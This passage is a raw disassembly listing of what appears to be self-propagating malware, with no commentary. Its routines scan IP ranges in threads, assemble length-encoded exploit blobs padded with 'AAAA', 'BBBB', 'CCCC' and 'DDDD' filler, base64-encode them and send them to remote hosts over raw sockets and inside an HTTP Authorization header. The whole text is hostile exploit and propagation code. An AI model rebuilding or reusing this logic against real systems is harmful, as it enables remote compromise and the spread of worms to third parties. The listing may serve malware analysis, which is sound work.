edi push edi call ds:dword_4F6384 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40CF67 loc_40CF5C: ; CODE XREF: sub_40CECD+98j cmp [ebp+var_C], edi jnz short loc_40CF67 push 32h call esi ; Sleep jmp short loc_40CF5C ; --------------------------------------------------------------------------- loc_40CF67: ; CODE XREF: sub_40CECD+8Dj ; sub_40CECD+92j push [ebp+var_4] call ds:dword_4F6370 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+Src] push 4 ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_4E4148 ; htonl inc eax push eax mov [ebp+Dst], eax call dword_4E421C ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src lea eax, [ebp+Src] push eax ; Dst call _memcpy add esp, 0Ch jmp loc_40CEFB sub_40CECD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFBE proc near ; DATA XREF: sub_401CC7+5EB0o Dest = byte ptr -130h var_B0 = dword ptr -0B0h Str = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_4F6380 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40CFEC: ; CODE XREF: sub_40CFBE+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_449B24 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_456F28 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40CE00 push edi push edi call ds:dword_4F6384 ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40D058 loc_40D04D: ; CODE XREF: sub_40CFBE+98j cmp [ebp+var_8], edi jnz short loc_40D058 push 32h call esi ; Sleep jmp short loc_40D04D ; --------------------------------------------------------------------------- loc_40D058: ; CODE XREF: sub_40CFBE+8Dj ; sub_40CFBE+92j push [ebp+arg_0] call ds:dword_4F6370 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40D07F inc [ebp+var_2C] jmp loc_40CFEC ; --------------------------------------------------------------------------- loc_40D07F: ; CODE XREF: sub_40CFBE+B7j push [ebp+var_1C] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_449B50 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D6C push [ebp+var_20] call sub_40BAAA add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40CFBE endp ; =============== S U B R O U T I N E ======================================= sub_40D0CB proc near ; CODE XREF: sub_40D36D+Ep ; sub_40D36D+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40D0CB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push dword ptr [ebp+8] call _strlen pop ecx push eax lea ecx, [ebp-8] push dword ptr [ebp+8] call sub_40D103 mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax mov eax, esi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40D103(void *Src,size_t Size) sub_40D103 proc near ; CODE XREF: .text:0040D0EDp ; sub_40D36D+11Ep Src = dword ptr 4 Size = dword ptr 8 push ebx mov ebx, [esp+4+Size] push esi push edi mov esi, ecx push ebx ; Size call _malloc mov edi, eax pop ecx test edi, edi jz short loc_40D135 push ebx ; Size push 0 ; Val push edi ; Dst call _memset push ebx ; Size push [esp+1Ch+Src] ; Src push edi ; Dst call _memcpy add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40D135: ; CODE XREF: sub_40D103+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_40D13D(void *Src,size_t Size,int,int) sub_40D13D proc near ; CODE XREF: sub_40D237+18p ; sub_40D2B1+16p ... Src = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+Size] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi ; Size call _malloc mov esi, eax pop ecx test esi, esi jz short loc_40D189 push edi ; Size push 0 ; Val push esi ; Dst call _memset push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; Dst call _memcpy push [ebp+arg_C] ; Size mov eax, [ebp+Size] add eax, esi push [ebp+arg_8] ; Src push eax ; Dst call _memcpy add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40D189: ; CODE XREF: sub_40D13D+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40D13D endp ; =============== S U B R O U T I N E ======================================= sub_40D192 proc near ; CODE XREF: sub_40D237+5Ep ; sub_40D237+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40D1A2 push eax ; Memory call _free pop ecx loc_40D1A2: ; CODE XREF: sub_40D192+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40D192 endp ; =============== S U B R O U T I N E ======================================= sub_40D1AB proc near ; CODE XREF: sub_40D237+20p ; sub_40D312+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40D1D8 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40D1DC loc_40D1D8: ; CODE XREF: sub_40D1AB+Dj xor al, al jmp short loc_40D233 ; --------------------------------------------------------------------------- loc_40D1DC: ; CODE XREF: sub_40D1AB+2Bj mov eax, ebx add eax, [esi+4] push eax ; Size push 0 ; Val push edi ; Dst call _memset add esp, 0Ch cmp ebx, 1 jnz short loc_40D201 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40D21B ; --------------------------------------------------------------------------- loc_40D201: ; CODE XREF: sub_40D1AB+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] ; Size lea eax, [edi+3] push dword ptr [esi] ; Src loc_40D21B: ; CODE XREF: sub_40D1AB+54j push eax ; Dst call _memcpy add esp, 0Ch push dword ptr [esi] ; Memory call _free add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40D233: ; CODE XREF: sub_40D1AB+2Fj pop edi pop esi pop ebx retn sub_40D1AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D237 proc near ; CODE XREF: sub_40D36D+89p ; sub_40D36D+E3p ... Src = dword ptr -8 Size = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+Src] push dword ptr [esi+4] ; int push dword ptr [esi] ; int push 1 ; Size push offset dword_4E6F54 ; Src call sub_40D13D lea ecx, [ebp+Src] call sub_40D1AB mov eax, [ebp+Size] inc eax push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40D271 xor al, al jmp short loc_40D2AD ; --------------------------------------------------------------------------- loc_40D271: ; CODE XREF: sub_40D237+34j mov eax, [ebp+Size] inc eax push eax ; Size push 0 ; Val push edi ; Dst call _memset mov byte ptr [edi], 3 push [ebp+Size] ; Size lea eax, [edi+1] push [ebp+Src] ; Src push eax ; Dst call _memcpy add esp, 18h mov ecx, esi call sub_40D192 mov eax, [ebp+Size] lea ecx, [ebp+Src] inc eax mov [esi], edi mov [esi+4], eax call sub_40D192 mov al, 1 loc_40D2AD: ; CODE XREF: sub_40D237+38j pop edi pop esi leave retn sub_40D237 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2B1 proc near ; CODE XREF: sub_40D2E5+14p ; sub_40D302+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] ; int lea ecx, [ebp+var_8] push [ebp+arg_0] ; int push dword ptr [esi+4] ; Size push dword ptr [esi] ; Src call sub_40D13D mov ecx, esi call sub_40D192 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40D2B1 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40D2E5(char *Str) sub_40D2E5 proc near ; CODE XREF: sub_40D36D+F0p ; sub_40D36D+15Bp ... Str = dword ptr 4 push esi mov esi, ecx push [esp+4+Str] ; Str call _strlen pop ecx push eax mov ecx, esi push [esp+8+Str] call sub_40D2B1 pop esi retn 4 sub_40D2E5 endp ; =============== S U B R O U T I N E ======================================= sub_40D302 proc near ; CODE XREF: sub_40D34E+Bp ; sub_40D36D+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40D2B1 retn 8 sub_40D302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D312 proc near ; CODE XREF: sub_40D34E+16p ; sub_40D36D+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40D1AB test al, al jz short loc_40D34B push dword ptr [esi+4] ; int lea ecx, [ebp+var_8] push dword ptr [esi] ; int push 1 ; Size push offset dword_449EE8 ; Src call sub_40D13D mov ecx, esi call sub_40D192 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40D34B: ; CODE XREF: sub_40D312+Fj pop esi leave retn sub_40D312 endp ; =============== S U B R O U T I N E ======================================= sub_40D34E proc near ; CODE XREF: sub_40D36D+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40D302 test al, al jz short loc_40D369 mov ecx, esi call sub_40D312 loc_40D369: ; CODE XREF: sub_40D34E+12j pop esi retn 8 sub_40D34E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D36D proc near ; CODE XREF: sub_40DB44+88p Dst = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40D0CB mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D6C1 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D6C1 push esi lea ecx, [ebp+var_30] call sub_40D0CB lea ecx, [ebp+var_20] call sub_40D0CB lea ecx, [ebp+var_50] call sub_40D0CB lea ecx, [ebp+var_18] call sub_40D0CB lea ecx, [ebp+var_40] call sub_40D0CB lea ecx, [ebp+var_38] call sub_40D0CB lea ecx, [ebp+var_28] call sub_40D0CB push 4 push offset dword_449B88 lea ecx, [ebp+var_30] call sub_40D2B1 push 3 push offset dword_449B90 lea ecx, [ebp+var_30] call sub_40D2B1 lea ecx, [ebp+var_30] call sub_40D237 lea ecx, [ebp+var_30] call sub_40D312 mov esi, 800h lea eax, [ebp+Dst] push esi ; Size push 42h ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40D2B1 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40D2B1 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+Dst] push eax call sub_40D2B1 lea ecx, [ebp+var_20] call sub_40D237 push offset dword_449EEC ; Str lea ecx, [ebp+var_50] call sub_40D2E5 lea ecx, [ebp+var_50] call sub_40D237 push esi ; Size lea eax, [ebp+Dst] push 44h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_58] push 410h ; Size push eax ; Src call sub_40D103 lea ecx, [ebp+var_58] call sub_40D237 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40D34E lea ecx, [ebp+var_58] call sub_40D192 push esi ; Size lea eax, [ebp+Dst] push 43h ; Val push eax ; Dst call _memset add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40D2E5 push 4 push offset dword_449B94 lea ecx, [ebp+var_18] call sub_40D2B1 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40D2B1 sub edi, [ebp+arg_8] lea eax, [ebp+Dst] lea ecx, [ebp+var_18] push edi push eax call sub_40D2B1 lea ecx, [ebp+var_18] call sub_40D237 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40D302 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40D302 lea ecx, [ebp+var_40] call sub_40D312 lea ecx, [ebp+var_18] call sub_40D192 lea ecx, [ebp+var_50] call sub_40D192 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40D302 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40D302 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40D302 lea ecx, [ebp+var_38] call sub_40D312 lea ecx, [ebp+var_20] call sub_40D192 lea ecx, [ebp+var_30] call sub_40D192 lea ecx, [ebp+var_40] call sub_40D192 push esi ; Size lea eax, [ebp+Dst] push 41h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_28] push 400h push eax call sub_40D2B1 lea ecx, [ebp+var_28] call sub_40D237 push 2 push offset dword_449F00 lea ecx, [ebp+var_28] call sub_40D2B1 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40D302 lea ecx, [ebp+var_28] call sub_40D312 lea ecx, [ebp+var_38] call sub_40D192 lea ecx, [ebp+var_10] call sub_40D0CB lea ecx, [ebp+var_8] call sub_40D0CB push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40D302 lea ecx, [ebp+var_10] call sub_40D1AB lea ecx, [ebp+var_28] call sub_40D192 push offset dword_449F04 ; Str lea ecx, [ebp+var_8] call sub_40D2E5 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40D302 lea ecx, [ebp+var_8] call sub_40D1AB lea ecx, [ebp+var_10] call sub_40D192 push offset dword_449F08 ; Str lea ecx, [ebp+var_10] call sub_40D2E5 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40D302 lea ecx, [ebp+var_10] call sub_40D1AB lea ecx, [ebp+var_8] call sub_40D192 push offset dword_449F0C ; Str lea ecx, [ebp+var_8] call sub_40D2E5 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40D302 lea ecx, [ebp+var_8] call sub_40D1AB lea ecx, [ebp+var_10] call sub_40D192 push offset dword_449F18 ; Str lea ecx, [ebp+var_48] call sub_40D2E5 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40D302 lea ecx, [ebp+var_8] call sub_40D192 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D6CF ; --------------------------------------------------------------------------- loc_40D6C1: ; CODE XREF: sub_40D36D+1Bj ; sub_40D36D+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D6CF: ; CODE XREF: sub_40D36D+352j pop edi pop ebx leave retn sub_40D36D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6D3 proc near ; CODE XREF: sub_40D797+A1p ; sub_40D797+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_4F6578 ; select cmp eax, edi jnz short loc_40D73A lea eax, [ebp+var_10C] push eax push esi call sub_43B892 ; __WSAFDIsSet test eax, eax jnz short loc_40D73E loc_40D73A: ; CODE XREF: sub_40D6D3+54j xor eax, eax jmp short loc_40D74E ; --------------------------------------------------------------------------- loc_40D73E: ; CODE XREF: sub_40D6D3+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4E4238 ; recv loc_40D74E: ; CODE XREF: sub_40D6D3+69j pop edi pop esi leave retn sub_40D6D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D752 proc near ; CODE XREF: sub_40D797+81p ; sub_40D797+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4E421C ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4E4270 ; send cmp eax, 4 jz short loc_40D77C xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D77C: ; CODE XREF: sub_40D752+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4E4270 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D797(int,void *Src,size_t Size) sub_40D797 proc near ; CODE XREF: sub_40D871+48p ; sub_40DB44+15Bp var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+Size] lea ebx, [edi+41h] push ebx ; Size mov [ebp+var_4], ebx call _malloc mov esi, eax pop ecx test esi, esi jnz short loc_40D7C0 xor al, al jmp loc_40D86C ; --------------------------------------------------------------------------- loc_40D7C0: ; CODE XREF: sub_40D797+20j push ebx ; Size push 0 ; Val push esi ; Dst call _memset push 2Fh ; Size push offset dword_449C24 ; Src push esi ; Dst call _memcpy push 8 ; Size lea eax, [esi+31h] push offset dword_449C54 ; Src push eax ; Dst mov [esi+2Fh], di call _memcpy push edi ; Size lea ebx, [esi+3Bh] push [ebp+Src] ; Src mov [esi+39h], di push ebx ; Dst call _memcpy push 6 ; Size add ebx, edi push offset dword_4E6F4C ; Src push ebx ; Dst call _memcpy mov ebx, [ebp+arg_0] push 85h push offset dword_449B9C push ebx call sub_40D752 add esp, 48h test al, al jnz short loc_40D828 loc_40D824: ; CODE XREF: sub_40D797+B5j xor bl, bl jmp short loc_40D863 ; --------------------------------------------------------------------------- loc_40D828: ; CODE XREF: sub_40D797+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D6D3 push [ebp+var_4] push esi push ebx call sub_40D752 add esp, 1Ch test al, al jz short loc_40D824 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D6D3 add esp, 10h mov bl, 1 loc_40D863: ; CODE XREF: sub_40D797+8Fj push esi ; Memory call _free pop ecx mov al, bl loc_40D86C: ; CODE XREF: sub_40D797+24j pop edi pop esi pop ebx leave retn sub_40D797 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D871(int,void *Src,size_t Size) sub_40D871 proc near ; CODE XREF: sub_40DB44+141p var_20 = byte ptr -20h arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_449C60 push [ebp+arg_0] call ds:dword_4F6574 ; send cmp eax, 48h jnz short loc_40D8AC push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D6D3 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D8AC cmp [ebp+var_20], 82h jz short loc_40D8B0 loc_40D8AC: ; CODE XREF: sub_40D871+1Bj ; sub_40D871+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D8B0: ; CODE XREF: sub_40D871+39j push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+arg_0] ; int call sub_40D797 add esp, 0Ch leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8C3 proc near ; CODE XREF: sub_40D90F+29p var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_43D468 call __ftol and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_43D460 fstp [esp+10h+var_10] call _floor fadd st, st pop ecx pop ecx fadd [ebp+var_8] call __ftol inc eax leave retn sub_40D8C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D90F proc near ; CODE XREF: sub_40DA86+23p var_4C = qword ptr -4Ch var_38 = byte ptr -38h var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str = dword ptr 14h mov eax, offset loc_43C78F call __EH_prolog sub esp, 2Ch push esi lea eax, [ebp+var_D] push edi xor esi, esi push eax lea ecx, [ebp+var_38] mov [ebp+var_20], esi call sub_40DD0B push 1 pop edi push [ebp+arg_8] mov [ebp+var_4], edi call sub_40D8C3 pop ecx push eax lea ecx, [ebp+var_38] call sub_40DE20 cmp [ebp+arg_8], esi mov [ebp+var_18], esi jbe loc_40DA5A push ebx mov ebx, [ebp+arg_8] loc_40D957: ; CODE XREF: sub_40D90F+144j cmp [ebp+arg_8], 3 jb short loc_40D962 push 3 loc_40D95F: ; CODE XREF: sub_40D90F+5Bj pop ebx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D962: ; CODE XREF: sub_40D90F+4Cj cmp [ebp+arg_8], 2 jnz short loc_40D96C push 2 jmp short loc_40D95F ; --------------------------------------------------------------------------- loc_40D96C: ; CODE XREF: sub_40D90F+57j cmp [ebp+arg_8], edi jnz short loc_40D973 mov ebx, edi loc_40D973: ; CODE XREF: sub_40D90F+51j ; sub_40D90F+60j and dword ptr [ebp+var_28+4], 0 mov dword ptr [ebp+var_28], ebx fild [ebp+var_28] push ecx push ecx ; double fmul ds:dbl_43D470 fstp [esp+4Ch+var_4C] call _ceil pop ecx pop ecx call __ftol test ebx, ebx mov [ebp+var_1C], eax jbe short loc_40D9B4 mov esi, [ebp+arg_4] mov ecx, ebx mov edx, ecx lea edi, [ebp+var_10] shr ecx, 2 rep movsd mov ecx, edx push 1 and ecx, 3 rep movsb pop edi loc_40D9B4: ; CODE XREF: sub_40D90F+8Aj mov cl, [ebp+var_10] mov dl, [ebp+var_10] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp+var_14], cl mov cl, [ebp+var_F] sar cl, 4 and cl, 0Fh add [ebp+arg_4], ebx shl dl, 4 add cl, dl mov dl, [ebp+var_F] mov [ebp+var_13], cl mov cl, [ebp+var_E] sar cl, 6 and dl, 0Fh sub [ebp+arg_8], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp+var_12], cl mov cl, [ebp+var_E] and cl, 3Fh test eax, eax mov [ebp+var_11], cl jbe short loc_40DA21 add [ebp+var_18], eax loc_40DA06: ; CODE XREF: sub_40D90F+110j movsx eax, [ebp+esi+var_14] lea ecx, [ebp+var_38] mov al, byte_449CAC[eax] push eax ; int push edi ; Size call sub_40DDA0 inc esi cmp esi, [ebp+var_1C] jb short loc_40DA06 loc_40DA21: ; CODE XREF: sub_40D90F+F2j cmp [ebp+var_18], 48h jb short loc_40DA36 push [ebp+Str] ; Str lea ecx, [ebp+var_38] call sub_40DD78 and [ebp+var_18], 0 loc_40DA36: ; CODE XREF: sub_40D90F+116j push 4 pop esi cmp [ebp+var_1C], esi jnb short loc_40DA4F sub esi, [ebp+var_1C] loc_40DA41: ; CODE XREF: sub_40D90F+13Ej push 3Dh ; int push edi ; Size lea ecx, [ebp+var_38] call sub_40DDA0 dec esi jnz short loc_40DA41 loc_40DA4F: ; CODE XREF: sub_40D90F+12Dj cmp [ebp+arg_8], 0 ja loc_40D957 pop ebx loc_40DA5A: ; CODE XREF: sub_40D90F+3Ej mov ecx, [ebp+arg_0] lea eax, [ebp+var_38] push eax call sub_40DD23 mov [ebp+var_20], edi and byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_38] call sub_40DD70 mov ecx, [ebp+var_C] mov eax, [ebp+arg_0] pop edi pop esi mov large fs:0, ecx leave retn sub_40D90F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA86 proc near ; CODE XREF: sub_40DB44+124p var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h mov eax, offset loc_43C7A9 call __EH_prolog sub esp, 10h push ebx push esi push edi push offset dword_4E6F58 and [ebp+var_4], 0 push [ebp+arg_8] lea eax, [ebp+var_1C] push [ebp+arg_4] push eax call sub_40D90F add esp, 10h lea ecx, [ebp+var_1C] mov byte ptr [ebp+var_4], 1 call sub_40DE1C lea ecx, [ebp+arg_C] mov esi, eax call sub_40DE1C lea esi, [esi+eax+36h] push esi ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40DADC xor bl, bl jmp short loc_40DB1B ; --------------------------------------------------------------------------- loc_40DADC: ; CODE XREF: sub_40DA86+50j lea ecx, [ebp+var_1C] call sub_40DE0F push eax lea ecx, [ebp+arg_C] call sub_40DE0F push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi ; Count push edi ; Dest call __snprintf add esp, 14h push 0 push esi push edi push [ebp+arg_0] call dword_4E4270 ; send cmp eax, esi jz short loc_40DB12 xor bl, bl jmp short loc_40DB14 ; --------------------------------------------------------------------------- loc_40DB12: ; CODE XREF: sub_40DA86+86j mov bl, 1 loc_40DB14: ; CODE XREF: sub_40DA86+8Aj push edi ; Memory call _free pop ecx loc_40DB1B: ; CODE XREF: sub_40DA86+54j and byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_1C] call sub_40DD70 or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_C] call sub_40DD70 mov ecx, [ebp+var_C] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40DA86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB44 proc near ; DATA XREF: .data:0044934Co ; .data:0044938Co Dst = byte ptr -424h var_423 = byte ptr -423h Dest = byte ptr -395h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_D = byte ptr -0Dh var_C = dword ptr -0Ch Src = dword ptr -8 Size = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 424h and [ebp+Dst], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_423] push 8Fh ; Size rep stosd stosw stosb lea eax, [ebp+Dst] push offset dword_449E58 ; Src 